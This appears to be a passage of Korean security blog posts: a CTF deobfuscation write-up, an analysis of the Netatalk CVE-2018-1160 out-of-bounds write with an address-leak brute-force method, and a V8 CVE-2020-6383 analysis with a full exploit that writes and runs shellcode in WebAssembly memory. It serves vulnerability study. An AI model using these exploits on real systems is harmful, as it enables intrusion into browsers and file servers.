23
24
25
26
27
28

function verify() {
    password = document.getElementById('get_password').value,
    alphabet = 'abcdefghijklmnopqrstuvwxyz1234567890!{}',
    newpassword = alphabet.substr(0x1, 0x1),
    newpassword = newpassword + alphabet.substr(0x11, 0x1),
    newpassword = newpassword + alphabet.substr(0x8, 0x1),
    newpassword = newpassword + alphabet.substr(0x17, 0x1),
    newpassword = newpassword + alphabet.substr(0x4, 0x1),
    newpassword = newpassword + alphabet.substr(0xb, 0x1),
    newpassword = newpassword + alphabet.substr(0x2, 0x1),
    newpassword = newpassword + alphabet.substr(0x13,0x1),
    newpassword = newpassword + alphabet.substr(0x5, 0x1),
    newpassword = newpassword + alphabet.substr(alphabet.newpassword-0x2, 0x1),
    newpassword = newpassword + alphabet.substr(alphabet.newpassword-0x4, 0x1),
    newpassword = newpassword + alphabet.substr(0x1, 0x1),
    newpassword = newpassword + alphabet.substr(0x5, 0x1),
    newpassword = newpassword + alphabet.substr(0x14, 0x1),
    newpassword = newpassword + alphabet.substr(0x12, 0x1),
    newpassword = newpassword + alphabet.substr(0x2, 0x1),
    newpassword = newpassword + alphabet.substr(0x0, 0x1),
    newpassword = newpassword + alphabet.substr(0x13, 0x1),
    newpassword = newpassword + alphabet.substr(0x8, 0x1),
    newpassword = newpassword + alphabet.substr(alphabet.newpassword-0x4, 0x1),
    newpassword = newpassword + alphabet.substr(0xd, 0x1),
    newpassword = newpassword + alphabet.substr(alphabet.newpassword-0x1, 0x1),
    password == newpassword ? alert('PasswordVerified') : alert('Incorrectpassword');
}

코드 복붙하고 newpassword 출력하면 된다.

Flag: brixelctf{0bfuscati0n}

CVE-2018-1160 [Netatalk]

Syine Mineta — Wed, 21 Oct 2020 21:08:27 +0900

CVE-2018-1160

Netatalk before 3.1.12 is vulnerable to an out of bounds write in dsi_opensess.c. This is due to lack of bounds checking on attacker controlled data. A remote unauthenticated attacker can leverage this vulnerability to achieve arbitrary code execution.

# Environment

Netatalk 3.0 - 3.1.11

# Analysis

Netatalk는 AFP (Apple Filing Protocol) 의 구현체이다. Apple 개발자 사이트나 레퍼런스 문서에서 AFP가 어떻게 동작하는지 확인할 수 있다.

Apple Filing Protocol Reference (TP40003548 4.0.3).pdf

4.61MB

(최신 문서를 찾을 수 없어서 이미 갖고 있던 2012년 버전만 업로드합니다.)

이 취약점은 DSIOpenSession 에서 option parse를 진행할 때 사용자 입력을 검증하지 않아서 발생한다.

문제가 발생한 곳은 libatalk/dsi/dsi_opensess.c 의 dsi_opensession 함수에서 DSIOPT_ATTNQUANT 를 parse 하는 부분이다.

30
31
32
33
34
35
36
37
38
39
40
41
42

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }
libatalk/dsi/dsi_opensess.c

그림으로 먼저 표현해 보았다.

Figure 1. DSIOpenSession option structure

먼저 첫 번째 바이트는 옵션의 타입을 지정하며, 이 값은 1일 때는 서버의 quantum을 설정하는 DSIOPT_ATTNQUANT, 0일 때는 서버 측의 quantum 값을 요청하는 DSIOPT_SERVQUANT 를 각각 의미한다.

(서버 응답으로 항상 서버의 quantum 값을 전송하므로 DSIOPT_SERVQUANT 옵션은 사실상 의미가 없다.)

option length를 사용자가 직접 설정할 수 있다는 점을 기억해 둬야 한다. 이 길이값에 따라서 사용자가 원하는 크기의 데이터를 전송할 수 있다.

다음으로, Netatalk 3.1.12 에서 이 루틴이 어떻게 패치되었는지 살펴보도록 한다.

34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

  /* parse options */
  while (i + 1 < dsi->cmdlen) {
    cmd = dsi->commands[i++];
    option_len = dsi->commands[i++];

    if (i + option_len > dsi->cmdlen) {
      LOG(log_error, logtype_dsi, "option %"PRIu8" too large: %zu",
          cmd, option_len);
      exit(EXITERR_CLNT);
    }

    switch (cmd) {
    case DSIOPT_ATTNQUANT:
      if (option_len != sizeof(dsi->attn_quantum)) {
        LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
            cmd, option_len);
        exit(EXITERR_CLNT);
      }
      memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      break;
    }

    i += option_len;
  }
libatalk/dsi/dsi_opensess.c

패치된 코드에서는 cmd와 option_len 이라는 변수를 새로 도입했다. 각각이 Fig. 1 의 Option Type과 Option Length를 나타낸다. option_len 을 사용한 두 가지 검사 로직이 추가되었다.

1. 현재 포인터 위치에 option_len 을 더한 값이 DSI의 전체 데이터 크기를 넘지 않아야 한다.

2. 옵션이 DSIOPT_ATTNQUANT 일 경우, option_len 의 값은 항상 4로 고정되어야 한다.

58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers cant write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;
include/atalk/dsi.h

위는 DSI 구조체이다. 앞에서 확인했던 바에 따르면, attn_quantum 필드의 위치에 최대 0xFF 크기의 데이터를 쓸 수 있다. 그런데 attn_quantum 의 타입은 uint32_t 로, 실제로 4바이트가 넘는 크기의 값을 쓰면 뒷 부분의 필드의 값을 임의로 바꿀 수 있다. (datasize, server_quantum, serverID, clientID, commands)

commands 포인터를 조작하면 임의의 주소에 값을 쓸 수 있게 된다.

한편, 취약점이 발생하는 버전은 1.4.99 - 3.1.11 이지만 3.x 이외 버전에서는 full RCE exploit이 불가능하다.

이는 2.x와 3.x의 DSI 구조체가 다르기 때문이다. afpd 2.2.3 에서 DSI 구조체는 다음과 같이 정의되어 있다.

58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
  AFPObj *AFPobj;
  dsi_proto protocol;
  struct dsi_block header;
  struct sockaddr_storage server, client;
  struct itimerval timer;
  int      tickle;        /* tickle count */
  int      in_write;      /* in the middle of writing multiple packets,
                             signal handlers cant write to the socket */
  int      msg_request;   /* pending message to the client */
  int      down_request;  /* pending SIGUSR1 down in 5 mn */

  u_int32_t attn_quantum, datasize, server_quantum;
  u_int16_t serverID, clientID;
  char      *status;
  u_int8_t  commands[DSI_CMDSIZ], data[DSI_DATASIZ];
  size_t statuslen;
  size_t datalen, cmdlen;
  off_t  read_count, write_count;
  uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
  const char *program;
  int socket, serversock;

  /* protocol specific open/close, send/receive
   * send/receive fill in the header and use dsi->commands.
   * write/read just write/read data */
  pid_t  (*proto_open)(struct DSI *);
  void   (*proto_close)(struct DSI *);

  /* url registered with slpd */
#ifdef USE_SRVLOC
  char srvloc_url[512];
#endif

#ifdef USE_ZEROCONF
  char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
  int zeroconf_registered;
#endif

  /* DSI readahead buffer used for buffered reads in dsi_peek */
  size_t dsireadbuf; /* size of the DSI readahead buffer used in dsi_peek() */
  char *buffer;
  char *start;
  char *eof;
  char *end;
} DSI;
include/atalk/dsi.h

commands 가 DSI 구조체 내에 정적 배열로 선언되어 있고, 대신 status 를 조작할 수 있다.

하지만 다른 코드에서 status 로 write를 하는 경우는 발생하지 않기 때문에 dsi_getstatus 에서 data leak을 할 때 말고는 쓸 수 있는 상황이 존재하지 않는다.

# PoC (PC Control, Non-PIE) [펌웨어 탐색 중]

특정 환경에서는, afpd를 PIE로 컴파일하지 않아 바이너리가 고정된 주소를 가지고 있기 때문에 AAW를 쉽게 성공시킬 수 있다.

~~PoC는 Seagate Business NAS 4 Bay의 펌웨어에 있는 afpd를 대상으로 했으며, 버전은 2.2.3이다.~~

(2.x exploit 불가능으로 3.x vulnerable 한 ARM 펌웨어를 찾고 있습니다.)

commands를 옮기기 좋은 위치는 preauth_switch 이다. AFP Command는 afp_switch의 함수 포인터 배열을 참조하고, 값이 NULL이 아니면 함수를 실행시킨다. 로그인 전 사용할 수 있는 함수는 preauth_switch에 저장되며, 로그인 후 afp_switch는 postauth_switch로 바뀐다.

57
58
59
60
61
62
63
64
65
66
67
68
69
70
...
129

/*
 * Routines marked "NULL" are not AFP functions.
 * Routines marked "afp_null" are AFP functions
 * which are not yet implemented. A fine line...
 */
static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,                /*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  24 -  31 */
...
AFPCmd *afp_switch = preauth_switch;
etc/afpd/switch.c

618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643

                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that were a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);

                    AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
                    LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
                        AfpNum2name(function), AfpErr2name(err));

                    dir_free_invalid_q();

                    dsi->flags &= ~DSI_RUNNING;

                    /* Add result to the AFP replay cache */
                    replaycache[rc_idx].DSIreqID = dsi->clientID;
                    replaycache[rc_idx].AFPcommand = function;
                    replaycache[rc_idx].result = err;
                } else {
etc/afpd/afp_dsi.c

이 preauth_switch 배열을 덮어씌워서 계정을 인증시키지 않고도 AFP Command를 실행시킬 수 있게 된다.

===================RIP↓==================

preauth_switch는 afp_switch에서 주소를 찾을 수 있다.

.data:000A2184                 EXPORT afp_switch
.data:000A2184 afp_switch      DCD unk_A1984           ; DATA XREF: LOAD:00015B60↑o
.data:000A2184                                         ; afp_over_dsi:loc_1C468↑o ...

0xA1984의 주소로 dsi->command를 옮기고 preauth_switch[1] 에 afp_getsrvrinfo의 주소인 0x3DEF4를 써서 서버 정보를 가져올 것이다.

+ ARM 바이너리를 qemu를 사용해 에뮬레이션하면, afp.conf에서 포트를 설정하더라도 다른 포트로 연결이 된다.

# PoC (Address Leak, PIE)

afpd가 PIE로 컴파일되어 있으면 바이너리 또는 라이브러리의 주소를 알아내야 할 필요가 있다.

afpd는 유저 입력이 들어오면 해당 입력을 처리하기 위해 clone으로 child process를 만든다.

clone을 통해 프로세스가 복제되면서, child와 parent는 항상 같은 메모리 매핑 상태를 유지하고 있다. 이 때 child에서 SIGSEGV가 발생하면 연결이 끊기는 점을 활용하여, dsi->commands 값을 1바이트씩 브루트포싱할 수 있다.

dsi->commands 의 할당은 dsi_tcp.c의 dsi_init_buffer 함수에서 이루어진다.

86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104

/*
 * Allocate DSI read buffer and read-ahead buffer
 */
static void dsi_init_buffer(DSI *dsi)
{
    if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }

    /* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
    if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }
    dsi->start = dsi->buffer;
    dsi->eof = dsi->buffer;
    dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}
libatalk/dsi/dsi_tcp.c

dsi->server_quantum 값은 Netatalk configuration에서 설정된다. 만약 이 값이 libc의 mp_.mmap_threshold 값 이상이 되면, dsi->commands 는 arena가 아니라 mmap으로 별도 할당된 공간에 위치하게 된다. (mp_.mmap_threshold 의 기본값은 DEFAULT_MMAP_THRESHOLD_MIN, 즉 0x20000 이다.)

Netatalk documentation의 Chapter 5. Manual Pages - afp.conf 항목을 살펴보면, server quantum의 기본값은 0x100000 이라고 쓰여져 있다. 즉, 기본적으로 dsi->commands 는 mmap으로 매핑된다는 사실을 알 수 있다.

mmap으로 할당되면 dsi->commands 의 값은 아래 그림과 같이 표현될 수 있다.

Figure 2. Layout of dsi->commands value

이 주소를 정확히 알아내기 위해서는 다음과 같은 제약이 필요하다:

dsi->commands 가 가리키는 페이지 앞에 할당된 공간이 존재하지 않아야 하거나,
dsi->commands 가 가리키는 페이지 앞에 공간이 할당되어 있지만, 해당 영역에 PROT_READ 권한이 없어야 한다.

왜 이런 제약이 필요한지는 Fig. 3 을 보면서 이해해보자.

두 번째 바이트가 0x10 의 배수임을 알고 있기 때문에, 두 번째 바이트를 0x00 부터 0xF0까지 브루트포싱하면서 값을 알아낼 수 있다.

Figure 3. Brute-force to leak the second byte of dsi->commands

처음으로 SIGSEGV가 발생하지 않는 (연결이 끊기지 않는) 입력이 dsi->commands 의 두 번째 바이트 값이다.

세 번째 바이트는 0x00 부터 0xFF 까지 값을 넣어보면서 알아낼 수 있다. dsi->server_quantum 값이 0x100000 이라면, malloc chunk의 헤더로 인해 실제 할당받는 크기는 0x101000 이 되어, 0x00 부터 0xFF 까지 요청을 보내보면 최소 17개 이상의 연속된 요청에서 연결이 끊기지 않는다.

Figure 4. Brute-force to leak the third byte of dsi->commands

위 그림을 예시로 살펴보면, 0x3B 부터 0x4B 까지 17개의 요청을 보내면 연결이 끊기지 않음을 알 수 있다.

0x3B~0x4B 범위 밖의 값을 넣어도, 해당 주소가 라이브러리나 다른 매핑된 영역의 주소를 가리켜서 연결이 끊기지 않는 경우가 생길 수 있다. dsi->commands 의 영역과 다른 영역이 연속해서 위치하지 않으면 서버의 응답을 바탕으로 정확한 주소를 구할 수 있지만, 그렇지 않을 경우 유효한 값을 짐작해야 한다.

이 과정에서 요청을 보냈을 때 서버의 반응을 기록해 둔다. 이 기록은 이후 네 번째와 다섯 번째 바이트를 구할 때 사용된다.

네 번째 (또는 다섯 번째) 바이트를 0x00 부터 0xFF 까지 브루트포싱할 때, 각 바이트에 대해서 세 번째 바이트를 0x00 부터 0xFF 까지 다시 돌려본다. 만약 이전에 기록했던 서버의 응답과 1개라도 다른 것이 있다면, 해당 바이트는 올바르지 않은 값이므로 건너뛴다. 이 과정으로 false positive를 줄여 정확한 값을 도출해낼 수 있다.

이 방법에 대한 실제 공격 코드는 [pwnable.tw] CVE-2018-1160 글에 작성되었다.

Ubuntu 20.04 에서 기본 설정으로 주소를 구한 결과이다. 디버깅으로 확인한 결과 실제 dsi->commands 값은 0x7fcc943be010 이고, 위 방법으로 구한 값은 0x7fcc94000010 이다.

아래 텍스트 파일은 테스트 환경의 afpd 프로세스 메모리 매핑을 출력한 것이다.

mm.txt

0.02MB

CVE-2020-6383 [V8]

Syine Mineta — Fri, 11 Sep 2020 18:49:34 +0900

CVE-2020-6383

Type confusion in V8 in Google Chrome prior to 80.0.3987.116 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

# Environment

branch 73f88b5f69077ef33169361f884f31872a6d56ac

https://chromium.googlesource.com/v8/v8/+/73f88b5f69077ef33169361f884f31872a6d56ac

# Bug Report

https://bugs.chromium.org/p/chromium/issues/detail?id=1051017

# Patch Commit

https://chromium.googlesource.com/v8/v8/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

https://chromium.googlesource.com/v8/v8/+/a2e971c56d1c46f7c71ccaf33057057308cc8484

https://chromium.googlesource.com/v8/v8/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef

https://chromium.googlesource.com/v8/v8/+/e440eda4ad9bfd8983c9896de574556e8eaee406

https://chromium.googlesource.com/v8/v8/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94

# PoC (Leak Address)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

function trigger() {
    var x = -Infinity;
    var k = 0;

    for (var i=0 ; i<1 ; i+=x) {
        if (i == -Infinity) {
            x = +Infinity;
        }
        if (++k > 10) {
            break;
        }
    }

    var value = Math.max(i, 1024);
    value = -value;
    value = Math.max(value, -1025);
    value = -value;
    value -= 1022;
    value >>= 1;
    value += 10;

    var array = Array(value);
    array[0] = 1.1;
    return [array, {}];
}

for (let i=0 ; i<20000 ; ++i) {
    trigger();
}

console.log(trigger()[0][11]);

# Analysis

TypeInductionVariablePhi 함수는 아래 형식의 for 반복문을 최적화할 때 실행된다.

1
2
3

for (var i=initial ; i<end ; i+=increment) {
    ...
}

이 때 초기값 initial 과 증가/감소량 increment 가 모두 정수 타입이라면 최적화를 진행한다.

857
858
859
860
861
862
863
864
865
866
867
868
869

  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN());
  }
/src/compiler/typer.cc

initial 과 increment 의 타입이 모두 kInteger 라면 both_types_integer 의 값은 true가 된다. 하지만 루프가 끝났을 때 i 가 정수라고 장담할 수는 없는데, 왜냐하면 initial 이 -Infinity 이고 increment 가 Infinity 인 경우 i 는 NaN이 되기 때문이다.

이 때문에, 결과값의 타입이 NaN인지 검사하는 로직이 존재한다. resultant_type 의 set 을 구하고, 해당 set 에 NaN이 포함되는지 확인한다.

871
872
873
874
875
876
877
878
879
880
881
882
883
884
885

  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unforretunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increments type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }
/src/compiler/typer.cc

~~(unforretunately는 오타일까?)~~

만약 initial 과 increment 의 타입이 정수가 아니거나, 결과값이 NaN이 될 수 있는 가능성이 존재하는 경우 range를 계산할 수 없기 때문에 node 의 모든 피연산자의 타입을 합쳐서 리턴한다.

886
887
888
889
890
891

  // If we do not have enough type information for the initial value or
  // the increment, just return the initial values type.
  if (initial_type.IsNone() ||
      increment_type.Is(typer_->cache_->kSingletonZero)) {
    return initial_type;
  }
/src/compiler/typer.cc

마지막으로 initial_type 이 None 이거나 increment_type 가 kSingletonZero, 즉 increment 가 정확히 0인 경우 initial_type 을 그냥 리턴한다.

908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952

  if (increment_min >= 0) {
    // increasing sequence
    min = initial_type.Min();
    for (auto bound : induction_var->upper_bounds()) {
      Type bound_type = TypeOrNone(bound.bound);
      // If the type is not an integer, just skip the bound.
      if (bound_type.Is(typer_->cache_->kInteger)) continue;
      // If the type is not inhabited, then we can take the initial value.
      if (bound_type.IsNone()) {
        max = initial_type.Max();
        break;
      }
      double bound_max = bound_type.Max();
      if (bound.kind == InductionVariable::kStrict) {
        bound_max -= 1;
      }
      max = std::min(max, bound_max + increment_max);
    }
    // The upper bound must be at least the initial values upper bound.
    max = std::max(max, initial_type.Max());
  } else if (increment_max <= 0) {
    // decreasing sequence
    max = initial_type.Max();
    for (auto bound : induction_var->lower_bounds()) {
      Type bound_type = TypeOrNone(bound.bound);
      // If the type is not an integer, just skip the bound.
      if (bound_type.Is(typer_->cache_->kInteger)) continue;
      // If the type is not inhabited, then we can take the initial value.
      if (bound_type.IsNone()) {
        min = initial_type.Min();
        break;
      }
      double bound_min = bound_type.Min();
      if (bound.kind == InductionVariable::kStrict) {
        bound_min += 1;
      }
      min = std::max(min, bound_min + increment_min);
    }
    // The lower bound must be at most the initial values lower bound.
    min = std::min(min, initial_type.Min());
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger;
  }
/src/compiler/typer.cc

만약 increment 가 양수와 음수 모두 될 가능성이 있다면 kInteger를 리턴하고, 그렇지 않으면 계산한 bound 를 사용해 Range를 리턴한다.

지금까지 TypeInductionVariablePhi 함수의 동작 과정을 살펴보았다. 다음으로 PoC에서 사용한 루프를 살펴보기로 한다.

1
2
3
4
5
6
7
8
9
10
11

    var x = -Infinity;
    var k = 0;

    for (var i=0 ; i<1 ; i+=x) {
        if (i == -Infinity) {
            x = +Infinity;
        }
        if (++k > 10) {
            break;
        }
    }

이 코드를 Turbofan이 최적화할 때, TypeInductionVariablePhi 이 실행된다.

initial 에 해당하는 값 0과 increment 에 해당하는 값 x 가 -Infinity 이므로, both_types_integer 는 true 값을 가진다. 0과 -Infinity를 더하면 -Infinity가 되기 때문에, resultant_type는 PlainNumber 가 되면서 maybe_nan 은 false 값을 갖게 된다.

하지만 루프 중간에서, i 가 -Infinity 이면 x 에 Infinity를 더하기 때문에 두 번째 루프를 돌고 나면 x 는 NaN이 된다. 루프 내부에서 increment 가 바뀌는 경우를 고려하지 않았기 때문에, 실제 값은 NaN이지만 kInteger로 type confusion을 일으킬 수 있다.

JIT로 PoC 코드의 function 함수가 컴파일되었을 때 value 의 bound는 다음과 같이 변한다.

1
2
3
4
5
6
7
8

    // i: kInteger > [-Infinity, Infinity]
    var value = Math.max(i, 1024);     // [1024, Infinity]
    value = -value;                    // [-Infinity, -1024]
    value = Math.max(value, -1025);    // [-1025, -1024]
    value = -value;                    // [1024, 1025]
    value -= 1022;                     // [2, 3]
    value >>= 1;                       // 1
    value += 10;                       // 11

각 연산 중간 단계마다 value 값을 출력해 보았다.

=====
NaN
NaN
NaN
NaN
NaN
NaN
0
10
=====
NaN
NaN
NaN
0
0
-1022
1073741313
1073741323

위쪽은 JIT 컴파일 전이고 아래쪽은 JIT로 최적화가 이루어진 뒤이다.

최적화 이전에는 value 가 모두 NaN 값을 가지다가, shift 연산으로 인해 0이라는 값을 가지고 이어서 10을 더하면서 10이 되었다.

최적화 이후, 3번째 줄의 Math.max 연산으로 value 가 0이 되고, 그 뒤에 1022를 빼고 shift 연산으로 sign 비트를 지워 매우 큰 수를 만들었다. 1073741313이 된 이유는 V8에서 pointer compression을 적용했을 때 smi가 31비트이기 때문이다.

결과적으로 실제 value 의 값은 1073741323 이 되지만 value 의 Range는 11 인 상태이기 때문에, value 로 Array를 생성하면 OOB read/write가 가능해진다.

# Exploit

Pointer compression이 적용된 V8은 이전과는 다르게 두 가지 스테이지를 거쳐야 한다.

먼저 isolate (v8 heap) 내에서 값을 자유롭게 쓸 수 있는 limited AAR/AAW, 외부 공간에도 임의의 주소에 값을 읽고 쓸 수 있게 하는 full AAR/AAW 를 구현해야 한다. (물론 처음부터 64bit 주소 leak이 가능하다면 v8 heap 은 따로 공략하지 않아도 됨)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115

var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);

function double_to_int(v) {
    f64[0] = v;
    return u32;
}

function double_to_long(v) {
    f64[0] = v;
    return BigInt(u32[0]) + (BigInt(u32[1]) << 32n);
}
 
function int_to_double(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function long_to_double(v) {
    u32[0] = Number(BigInt(v) & 0xFFFFFFFFn);
    u32[1] = Number(BigInt(v) >> 32n);
    return f64[0];
}

function hex(v) {
    return '0x' + v.toString(16);
}

function v() {
    var x = -Infinity;
    var k = 0;

    for (var i=0 ; i<1 ; i+=x) {
        if (i == -Infinity) {
            x = +Infinity;
        }

        if (++k > 10) {
            break;
        }
    }

    var value = Math.max(i, 1024);
    value = -value;
    value = Math.max(value, -1025);
    value = -value;
    value -= 1022;
    value >>= 1;
    value += 10;


    var array = Array(value);
    array[0] = 1.1;

    return [array, {}];
}

for (let i=0 ; i<20000 ; ++i) {
    v();    // optimize v
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var exec = wasm_instance.exports.main;

let addrof = function(obj) {
    var x = v();
    x[1] = obj;
    var addr = double_to_int(x[0][16])[0];
    return addr;
};

let AAR_AAW_init = function(addr) {
    // compressed absolute read/write
    // addr: 32bit, isolate = v8 heap base
    var x = v();
    var obj = [987.654];

    var leak = double_to_int(x[0][21]);
    x[0][21] = int_to_double(leak[0], addr);   // elements = addr
    leak = double_to_int(x[0][22]);
    x[0][22] = int_to_double(0x10000, leak[1]);    // length = 0x10000

    return obj;
};

let AAR_AAW_full_init = function(addr) {
    // uncompressed absolute read/write
    // addr: 64bit
    var obj = new Uint32Array(0x40);
    var obj_addr = addrof(obj);
    var tmp = AAR_AAW_init(obj_addr);

    tmp[4] = long_to_double(addr);   // elements = addr

    return obj;
};

var leak = addrof(wasm_instance);
console.log("WASM Instance = "+hex(leak));
var AAR_AAW = AAR_AAW_init(leak);
var RWX = double_to_long(AAR_AAW[12]);
console.log("RWX Memory = "+hex(RWX));

var AAR_AAW_full = AAR_AAW_full_init(RWX+0x2E0n);
var shellcode = [0x3ac0c748,0xf000000,0xf8834805,0xc3017400,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x3bc0,0x50f00];

for (var i=0 ; i<shellcode.length ; i++) {
    AAR_AAW_full[i] = shellcode[i];
}

exec();

1. 객체의 주소를 구할 수 있는 addrof 를 구현한다.

elements[1] 에 객체를 넣고, 주소를 leak 하면 된다.

2. v8 heap 내부에서 원하는 위치에 값을 자유롭게 읽고 쓸 수 있는 객체를 만든다.

AAR_AAW_init 함수에 해당하는 부분이다. v 를 호출한 뒤 바로 객체를 생성하면 해당 객체는 x 바로 뒤의 공간에 온다.

obj 의 elements 의 주소와 length 를 수정했다. (length 를 크게 잡아주지 않으면, 범위를 벗어날 때 undefined 값이 들어감)

3. Full AAR/AAW 객체를 만든다.

